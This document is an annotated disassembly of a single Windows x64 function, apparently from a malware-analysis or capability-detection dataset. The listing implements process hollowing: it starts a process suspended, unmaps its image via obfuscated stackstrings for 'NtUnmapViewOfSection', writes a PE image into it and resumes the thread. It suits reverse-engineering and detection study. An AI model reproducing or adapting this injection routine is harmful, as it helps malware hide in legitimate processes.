Function at 0x140006434
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x78]
sub rsp, 0x150
mov r15, r8
mov rsi, rdx
mov r13, rcx
xor r12d, r12d
mov bl, r12b
mov byte [rsp + 0x60], bl
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x38], r12
or dword [rbp - 0x48], 0xffffffff
lea rcx, [rbp - 0x48]
call fcn.140004268
movzx edi, r12b
mov r14b, byte [rbp + 0xb8]
test r14b, r14b
je 0x140006553
mov qword [rbp - 0x68], r12
mov qword [rbp - 0x58], r12
mov qword [rbp - 0x50], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x68], r12b
mov r9b, byte [rbp + 0xb0]
lea r8, [rbp - 0x68]
lea rdx, [rbp - 0x30]
mov ecx, eax
call fcn.1400af778
test al, al
je 0x14000650f
mov rcx, qword [rbp - 0x30]
test rcx, rcx
je 0x14000650f
lea rax, [rbp - 0x38]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
lea r9d, [r12 + 2]
xor r8d, r8d
mov edx, 0x2000000
call fcn.14000e47c
test eax, eax
je 0x14000650f
xor r8d, r8d
mov rdx, qword [rbp - 0x30]
lea rcx, [rbp - 0x40]
call fcn.14000e154
test eax, eax
lea eax, [r12 + 1]
cmovne edi, eax
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x14000654a
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006545
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006b48
call fcn.14007d370
test dil, dil
je 0x140006b1f
lea rdx, [0x1400c01b8]
lea rcx, [rbp - 0x68]
call fcn.1400b92a4
cmp qword [rax + 0x18], 0x10
jb 0x14000656d
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x1400065b4
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400065af
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006b4e
call fcn.14007d370
mov qword [rbp - 0x58], r12
mov qword [rbp - 0x50], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x68], r12b
test rdi, rdi
je 0x140006b1f
lea rdx, [0x1400c0d18]
lea rcx, [rsp + 0x78]
call fcn.1400b92a4
cmp qword [rax + 0x18], 0x10
jb 0x1400065e8
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400e3b68], rax
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x140006637
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006632
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006b54
call fcn.14007d370
lea rdx, [0x1400c0d40]
lea rcx, [rsp + 0x78]
call fcn.1400b92a4
cmp qword [rax + 0x18], 0x10
jb 0x140006652
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400e3b70], rax
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x1400066a1
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000669c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006b5a
call fcn.14007d370
lea rdx, [0x1400c0d68]
lea rcx, [rsp + 0x78]
call fcn.1400b92a4
cmp qword [rax + 0x18], 0x10
jb 0x1400066bc
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400e3b78], rax
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x14000670b
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006706
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006b60
call fcn.14007d370
mov eax, 0x5a4d
cmp word [r13], ax
jne 0x140006a03
movsxd rbx, dword [r13 + 0x3c]
add rbx, r13
cmp dword [rbx], 0x4550
jne 0x1400069ff
lea rdx, [rbp + 0xb8]
mov rcx, rsi
call fcn.14000e628
mov ecx, 0x14c
mov eax, dword [rbp + 0xb8]
cmp word [rbx + 4], cx
jne 0x140006756
test eax, eax
jne 0x140006b1f
mov ecx, 0x8664
cmp word [rbx + 4], cx
jne 0x14000676a
cmp eax, 6
jne 0x140006b1f
lea rdi, [rbp - 0x68]
xor eax, eax
lea ecx, [rax + 0x18]
rep stosb byte [rdi], al
lea rdi, [rbp - 0x20]
lea edx, [rax + 0x68]
mov ecx, edx
rep stosb byte [rdi], al
mov dword [rbp - 0x20], edx
mov dword [rbp + 0x1c], 0x101
mov word [rbp + 0x20], r12w
lea rax, [rbp - 0x68]
xor r9d, r9d
test r14b, r14b
je 0x1400067da
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x20]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], r12
mov rax, qword [rbp - 0x40]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x8000404
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
mov r8, r15
mov rdx, rsi
mov rcx, qword [rbp - 0x38]
call fcn.14000e2f4
jmp 0x14000680d
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x20]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], r12d
xor r8d, r8d
mov rdx, r15
mov rcx, rsi
call fcn.14000e224
test eax, eax
je 0x1400069ff
mov edx, recv
xor ecx, ecx
lea r9d, [rdx - 8]
mov r8d, 0x1000
call fcn.14000fc8c
mov rsi, rax
mov qword [rbp - 0x28], rax
mov dword [rax + 0x30], 0x100002
mov rdx, rax
mov rcx, qword [rbp - 0x60]
call fcn.14000ea74
mov rcx, qword [rbp - 0x68]
test eax, eax
je 0x1400069f8
mov rdx, qword [rsi + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rbp - 0x48]
call qword [0x1400e3b68]
lea r12, [rbx + 0x30]
mov rdx, qword [r12]
mov eax, dword [rbp - 0x48]
xor r15d, r15d
cmp rax, rdx
jne 0x140006902
mov dword [rsp + 0x6b], 0x642e6c6c
mov word [rsp + 0x70], WSASetLastError
mov byte [rsp + 0x6f], WSASetLastError
mov word [rsp + 0x68], 0x746e
mov byte [rsp + 0x6a], 0x64
mov dword [rsp + 0x79], 0x6d6e5574
mov word [rbp - 0x78], 0x6974
mov word [rbp - 0x75], WSAStartup
mov dword [rbp - 0x7e], 0x53664f77
mov dword [rsp + 0x7e], 0x65695670
mov word [rbp - 0x7a], 0x6365
mov byte [rsp + 0x78], 0x4e
mov byte [rbp - 0x76], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x7d], 0x61
lea rcx, [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rbp - 0x48]
mov rcx, qword [rbp - 0x68]
call rax
mov rdx, qword [rbx + 0x30]
neg byte [rbp + 0xa8]
sbb eax, eax
and eax, 0x3c
add eax, 4
mov r8d, dword [rbx + 0x50]
mov dword [rsp + 0x20], eax
mov r9d, 0x3000
mov rcx, qword [rbp - 0x68]
call fcn.1400bc118
mov r14, rax
mov rcx, qword [rbp - 0x68]
test rax, rax
je 0x1400069ec
mov r9d, dword [rbx + 0x54]
mov qword [rsp + 0x20], r15
mov r8, r13
mov rdx, rax
call fcn.14000ff0c
movzx edi, word [rbx + 0x14]
add rdi, 0x2c
xor eax, eax
cmp ax, word [rbx + 6]
jae 0x14000699c
add rdi, rbx
xor r12d, r12d
lea esi, [rax + 1]
mov r9d, dword [rdi - 4]
mov r8d, dword [rdi]
add r8, r13
mov edx, dword [rdi - 8]
add rdx, r14
mov qword [rsp + 0x20], r12
mov rcx, qword [rbp - 0x68]
call fcn.14000ff0c
lea rdi, [rdi + 0x28]
add r15d, esi
movzx eax, word [rbx + 6]
cmp r15d, eax
jl 0x140006964
mov rsi, qword [rbp - 0x28]
lea r12, [rbx + 0x30]
xor eax, eax
mov rdx, qword [rsi + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], rax
mov r9d, 8
mov r8, r12
mov rcx, qword [rbp - 0x68]
call fcn.14000ff0c
mov eax, dword [rbx + 0x28]
add rax, r14
mov qword [rsi + 0x80], rax
mov rdx, rsi
mov rcx, qword [rbp - 0x60]
call qword [0x1400e3b70]
mov rcx, qword [rbp - 0x60]
call qword [0x1400e3b78]
mov ebx, 1
xor r12d, r12d
jmp 0x140006a03
xor edx, edx
call fcn.14000fc10
xor r12d, r12d
jmp 0x1400069ff
xor edx, edx
call fcn.14000fc10
mov bl, byte [rsp + 0x60]
cmp qword [rbp - 0x40], r12
je 0x140006afb
lea rdx, [0x1400c0d88]
lea rcx, [rbp - 0x68]
call fcn.1400b92a4
nop
cmp qword [rax + 0x18], 0x10
jb 0x140006a28
mov rax, qword [rax]
mov rcx, rax
call fcn.1400bb43c
mov rdi, rax
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x140006a6e
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006a69
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006b66
call fcn.14007d370
mov qword [rbp - 0x58], r12
mov qword [rbp - 0x50], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x68], r12b
test rdi, rdi
je 0x140006afb
lea rdx, [0x1400c0da8]
lea rcx, [rsp + 0x78]
call fcn.1400b92a4
cmp qword [rax + 0x18], 0x10
jb 0x140006a9e
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400e3b38], rax
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x140006af0
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006ae4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006b42
call fcn.14007d370
mov rax, qword [0x1400e3b38]
test rax, rax
je 0x140006afb
mov rcx, qword [rbp - 0x40]
call rax
mov rcx, qword [rbp - 0x38]
test rcx, rcx
je 0x140006b0d
call fcn.1400bafc0
mov qword [rbp - 0x38], r12
mov rcx, qword [rbp - 0x30]
test rcx, rcx
je 0x140006b1b
call fcn.1400bafc0
mov al, bl
jmp 0x140006b21
xor al, al
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140083c6c
int3
call fcn.140083c6c
int3
call fcn.140083c6c
int3
call fcn.140083c6c
int3
call fcn.140083c6c
int3
call fcn.140083c6c
int3
call fcn.140083c6c
int3